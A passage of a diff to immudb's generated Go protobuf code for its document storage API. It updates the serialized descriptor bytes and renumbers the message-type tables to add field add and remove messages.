0x65, 0x6e, 0x74, 0x73, 0x12, 0xac, + 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x4c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x38, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xda, 0x01, + 0x0a, 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, - 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x66, 0x22, 0x33, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, + 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, + 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, + 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, + 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x4b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, + 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, - 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x5a, 0x2c, 0x22, 0x27, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x2f, 0x7b, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x49, 0x64, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0xa8, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x4b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x37, 0x22, 0x32, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x71, 0x75, 0x65, 0x72, 0x79, 0x2e, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, - 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, - 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, - 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, - 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, - 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, - 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, - 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, - 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, - 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, - 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, - 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x51, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, + 0x7b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0xab, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x51, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x3d, 0x22, 0x38, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x2f, 0x7b, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x7d, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, + 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, + 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, + 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, + 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, + 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2644,7 +2867,7 @@ func file_documents_proto_rawDescGZIP() []byte { } var file_documents_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 37) +var file_documents_proto_msgTypes = make([]protoimpl.MessageInfo, 41) var file_documents_proto_goTypes = []interface{}{ (FieldType)(0), // 0: immudb.model.FieldType (ComparisonOperator)(0), // 1: immudb.model.ComparisonOperator @@ -2661,33 +2884,37 @@ var file_documents_proto_goTypes = []interface{}{ (*DeleteCollectionResponse)(nil), // 12: immudb.model.DeleteCollectionResponse (*UpdateCollectionRequest)(nil), // 13: immudb.model.UpdateCollectionRequest (*UpdateCollectionResponse)(nil), // 14: immudb.model.UpdateCollectionResponse - (*CreateIndexRequest)(nil), // 15: immudb.model.CreateIndexRequest - (*CreateIndexResponse)(nil), // 16: immudb.model.CreateIndexResponse - (*DeleteIndexRequest)(nil), // 17: immudb.model.DeleteIndexRequest - (*DeleteIndexResponse)(nil), // 18: immudb.model.DeleteIndexResponse - (*InsertDocumentsRequest)(nil), // 19: immudb.model.InsertDocumentsRequest - (*InsertDocumentsResponse)(nil), // 20: immudb.model.InsertDocumentsResponse - (*ReplaceDocumentsRequest)(nil), // 21: immudb.model.ReplaceDocumentsRequest - (*ReplaceDocumentsResponse)(nil), // 22: immudb.model.ReplaceDocumentsResponse - (*DeleteDocumentsRequest)(nil), // 23: immudb.model.DeleteDocumentsRequest - (*DeleteDocumentsResponse)(nil), // 24: immudb.model.DeleteDocumentsResponse - (*SearchDocumentsRequest)(nil), // 25: immudb.model.SearchDocumentsRequest - (*Query)(nil), // 26: immudb.model.Query - (*QueryExpression)(nil), // 27: immudb.model.QueryExpression - (*FieldComparison)(nil), // 28: immudb.model.FieldComparison - (*OrderByClause)(nil), // 29: immudb.model.OrderByClause - (*SearchDocumentsResponse)(nil), // 30: immudb.model.SearchDocumentsResponse - (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision - (*DocumentMetadata)(nil), // 32: immudb.model.DocumentMetadata - (*CountDocumentsRequest)(nil), // 33: immudb.model.CountDocumentsRequest - (*CountDocumentsResponse)(nil), // 34: immudb.model.CountDocumentsResponse - (*AuditDocumentRequest)(nil), // 35: immudb.model.AuditDocumentRequest - (*AuditDocumentResponse)(nil), // 36: immudb.model.AuditDocumentResponse - (*ProofDocumentRequest)(nil), // 37: immudb.model.ProofDocumentRequest - (*ProofDocumentResponse)(nil), // 38: immudb.model.ProofDocumentResponse - (*structpb.Struct)(nil), // 39: google.protobuf.Struct - (*structpb.Value)(nil), // 40: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 41: immudb.schema.VerifiableTxV2 + (*AddFieldRequest)(nil), // 15: immudb.model.AddFieldRequest + (*AddFieldResponse)(nil), // 16: immudb.model.AddFieldResponse + (*RemoveFieldRequest)(nil), // 17: immudb.model.RemoveFieldRequest + (*RemoveFieldResponse)(nil), // 18: immudb.model.RemoveFieldResponse + (*CreateIndexRequest)(nil), // 19: immudb.model.CreateIndexRequest + (*CreateIndexResponse)(nil), // 20: immudb.model.CreateIndexResponse + (*DeleteIndexRequest)(nil), // 21: immudb.model.DeleteIndexRequest + (*DeleteIndexResponse)(nil), // 22: immudb.model.DeleteIndexResponse + (*InsertDocumentsRequest)(nil), // 23: immudb.model.InsertDocumentsRequest + (*InsertDocumentsResponse)(nil), // 24: immudb.model.InsertDocumentsResponse + (*ReplaceDocumentsRequest)(nil), // 25: immudb.model.ReplaceDocumentsRequest + (*ReplaceDocumentsResponse)(nil), // 26: immudb.model.ReplaceDocumentsResponse + (*DeleteDocumentsRequest)(nil), // 27: immudb.model.DeleteDocumentsRequest + (*DeleteDocumentsResponse)(nil), // 28: immudb.model.DeleteDocumentsResponse + (*SearchDocumentsRequest)(nil), // 29: immudb.model.SearchDocumentsRequest + (*Query)(nil), // 30: immudb.model.Query + (*QueryExpression)(nil), // 31: immudb.model.QueryExpression + (*FieldComparison)(nil), // 32: immudb.model.FieldComparison + (*OrderByClause)(nil), // 33: immudb.model.OrderByClause + (*SearchDocumentsResponse)(nil), // 34: immudb.model.SearchDocumentsResponse + (*DocumentAtRevision)(nil), // 35: immudb.model.DocumentAtRevision + (*DocumentMetadata)(nil), // 36: immudb.model.DocumentMetadata + (*CountDocumentsRequest)(nil), // 37: immudb.model.CountDocumentsRequest + (*CountDocumentsResponse)(nil), // 38: immudb.model.CountDocumentsResponse + (*AuditDocumentRequest)(nil), // 39: immudb.model.AuditDocumentRequest + (*AuditDocumentResponse)(nil), // 40: immudb.model.AuditDocumentResponse + (*ProofDocumentRequest)(nil), // 41: immudb.model.ProofDocumentRequest + (*ProofDocumentResponse)(nil), // 42: immudb.model.ProofDocumentResponse + (*structpb.Struct)(nil), // 43: google.protobuf.Struct + (*structpb.Value)(nil), // 44: google.protobuf.Value + (*schema.VerifiableTxV2)(nil), // 45: immudb.schema.VerifiableTxV2 } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CreateCollectionRequest.fields:type_name -> immudb.model.Field @@ -2697,56 +2924,61 @@ var file_documents_proto_depIdxs = []int32{ 4, // 4: immudb.model.Collection.fields:type_name -> immudb.model.Field 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection - 39, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct - 26, // 8: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query - 39, // 9: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct - 31, // 10: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 26, // 11: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query - 26, // 12: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query - 27, // 13: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 29, // 14: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause - 28, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 40, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 31, // 18: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 32, // 19: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata - 39, // 20: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 26, // 21: immudb.model.CountDocumentsRequest.query:type_name -> immudb.model.Query - 31, // 22: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 41, // 23: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 2, // 24: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest - 9, // 25: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest - 6, // 26: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest - 13, // 27: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest - 11, // 